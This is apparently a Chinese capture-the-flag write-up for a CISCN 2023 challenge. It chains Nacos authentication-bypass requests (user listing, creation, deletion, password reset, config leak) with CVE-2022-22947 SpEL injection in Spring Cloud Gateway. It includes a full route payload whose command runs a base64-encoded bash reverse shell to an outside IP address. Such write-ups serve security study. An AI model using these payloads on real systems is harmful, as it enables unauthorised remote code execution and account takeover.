参考资料:
2023CISCN初赛 - d3f4u1t (superfengi.github.io)
报告nacos中的安全漏洞以绕过身份验证 ·问题 #4593 ·阿里巴巴/纳科斯 (github.com)
CISCN2023 初赛 Backendservice题解 - 先知社区
同时感谢赵兄弟的帮忙指导
Spring Cloud Gateway
Spring Cloud Gateway是一个基于Spring Framework的轻量级API网关服务,它提供了一种简单而灵活的方式来构建和管理微服务架构中的路由、负载均衡、安全性和监控等功能。简单理解为一个具有丰富功能的微服务网关,它可以拦截客户端的请求,然后根据predicates(断言)来为该请求分配合适的后端应用。例如当用户请求http://192.168.1.1:80/app时,网关可以配置将其转发到APP应用服务器http://192.168.2.2:8080/app上,又或者使用Filter 拦截器,为请求增加某些内容或者为服务器响应增加某些内容
Nacos
Nacos可以理解为一个统一管理的配置注册中心,配置了 nacos后,项目中的配置文件便可以通过Nacos来动态修改。应用通过注册到Nacos中,然后绑定组和dataID的形式,来绑定Nacos上创建的动态配置文件,当Nacos上所绑定的配置文件发布了新版时,应用将从Nacos中自动同步新的配置,大大增加了灵活性
漏洞知识
一、 Nacos 漏洞利用1 、获取已有的用户列表的账号和密码在路径后面加上/nacos/v1/auth/users?pageNo=1&pageSize=9可以获取到已有的用户名和密码2 、任意用户添加更改提交方式为POST , 访问/nacos/v1/auth/users?username=admin&password=passwd新建一个账号admin1,密码passwd ,3 、任意用户删除更改提交方式为DELETE , 访问DELETE/nacos/v1/auth/users?username=admin1用户删除成功4 、用户密码重置更改提交方式为PUT,访问 PUT /nacos/v1/auth/users?accessToken=&username=admin&newPassword=passwd5 、配置信息泄露在路径后面加上:nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99
二、 Nacos 结合 Spring Cloud Gateway RCE 利用1 、漏洞回顾该漏洞在网上公开POC的利用方式是通过/actuator/gateway/routes这个节点进行动态添加路由的,当项目配置文件中配置了以下两行配置时(YAML格式),便会开启该接口:1 management.endpoint.gateway.enabled: true2 management.endpoints.web.exposure.include: gateway在项目Service-provider的配置文件bootstrap.yml中,配置了连接Nacos的关键项:![]()
其中spring.cloud.nacos.config下name代表的是要在nacos中创建的配置文件的DataID。file-extension则是nacos中所创建的配置文件的格式。group则代表nacos中配置文件对应的组。server-addr则是nacos的访问地址
其中发送的添加路由的数据包中的数据段如下:![]()
先理解一下这段POC的含义:
id字段代表的是路由的ID标识
filters则是Spring Cloud Gateway中路由配置的过滤器:这里指定了过滤器AddResponseHeader,含义为对匹配 到的请求的响应包中添加一个自定义的Header,其中名称为Result,值为该漏洞利用的SpEL表达式,执行了 命令id。
也就是说当一个请求匹配到该路由时,返回包中应该会 存在一个Header返回了我们定义的键值,利用成功的话 会得到:result: uid=0(root) gid=0(... ...)
但POC中并未定义路由的匹配规则,因为开启 actuator/gateway的话只需要刷新一下路由然后直接查看路由配置就可以得到命令执行的回显了
2.如果找到了Spring Cloud Gateway应用以及它 的Nacos配置文件,如何利用CVE-2022-22947来进行攻击。回到之前的配置文件gateway,如果发现应用未开启 Actuator,则结合前文所说的利用响应包增加Header的方
式回显,将配置在Nacos中进行修改,改为以下内容:![]()
这里增加了一个filters字段,并写入POC,但这里需要注意的坑有两点:
1. 需要修改原POC,将字符串输入结果使用replace()将\n 以及\r符号替换为空,否则会提示报错Header中不能包含该字符导致利用失败
2. 在YAML配置文件中,SpEL表达式必须要用双引号括起 来,但POC原本就带有双引号,会导致识别冲突,所以 将POC内所有的双引号改为单引号,外面在用双引号括起来完成后对配置文件进行发布,然后尝试访问,可以发现成功回显了命令执行的结果
赛题复现
此题是CVE-2022-22947的漏洞,改了些配置
⾸先是nacos存在鉴权漏洞:
利⽤如下payload添加⽤户,调用添加用户界面,添加新用户(POST http://84730387-7f98-46cd-a8c0-bb14c014d5b5.challenge.ctf.show/v1/auth/users?username=test&password=test),然后使用新添加的用户登录控制台访问、修改和添加数据。
使用添加后的账号登录上nacos
在配置列表那里新添加一个列表
查看需要添加的信息
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://service-provider",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xNTIuMTM2LjE5Ny4xOC82NjY2IDA8JjE=}|{base64,-d}|{bash,-i}\").getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}"
}
}
]
}
]
}
}
}
}
exec(\"bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xNTIuMTM2LjE5Ny4xOC82NjY2IDA8JjE=}|{base64,-d}|{bash,-i}\")
这段代码是一个使用bash反弹shell的命令,它使用了base64编码来隐藏命令内容。bash -c,你可以在命令行中指定一个命令或命令字符串,并要求bash解释器执行它。YmFzaCAtaSAmPiAvZGV2L3RjcC8xNTIuMTM2LjE5Ny4xOC82NjY2IDA8JjE=:bash -i &> /dev/tcp/xxx.xxx.xxx.xx/6666 0<&1bash -i:这是执行一个交互式的BashShell的命令。&>:这是I/O重定向的语法,将标准输出和标准错误输出都重定向到后面指定的位置。/dev/tcp/XXX.XX.XX.XX/6666:这是一个特殊的文件路径,它表示网络套接字。具体来说,/dev/tcp是Linux中的一个虚拟文件系统,可以用来进行网络通信。0<&1:这是另一个I/O重定向,将标准输入(文件描述符0)指向标准输出(文件描述符1),这样就可以实现输入和输出的重定向。
base64,-d:这是一个base64解码器的命令,它会将base64编码的字符串转换回原始内容。bash,-i:这是执行一个交互式的bash shell的命令。
接着用自己的VPS连接,命令执行即可(腾讯云价格对学生友善)
已经监听到了,找到flag文件,cat即可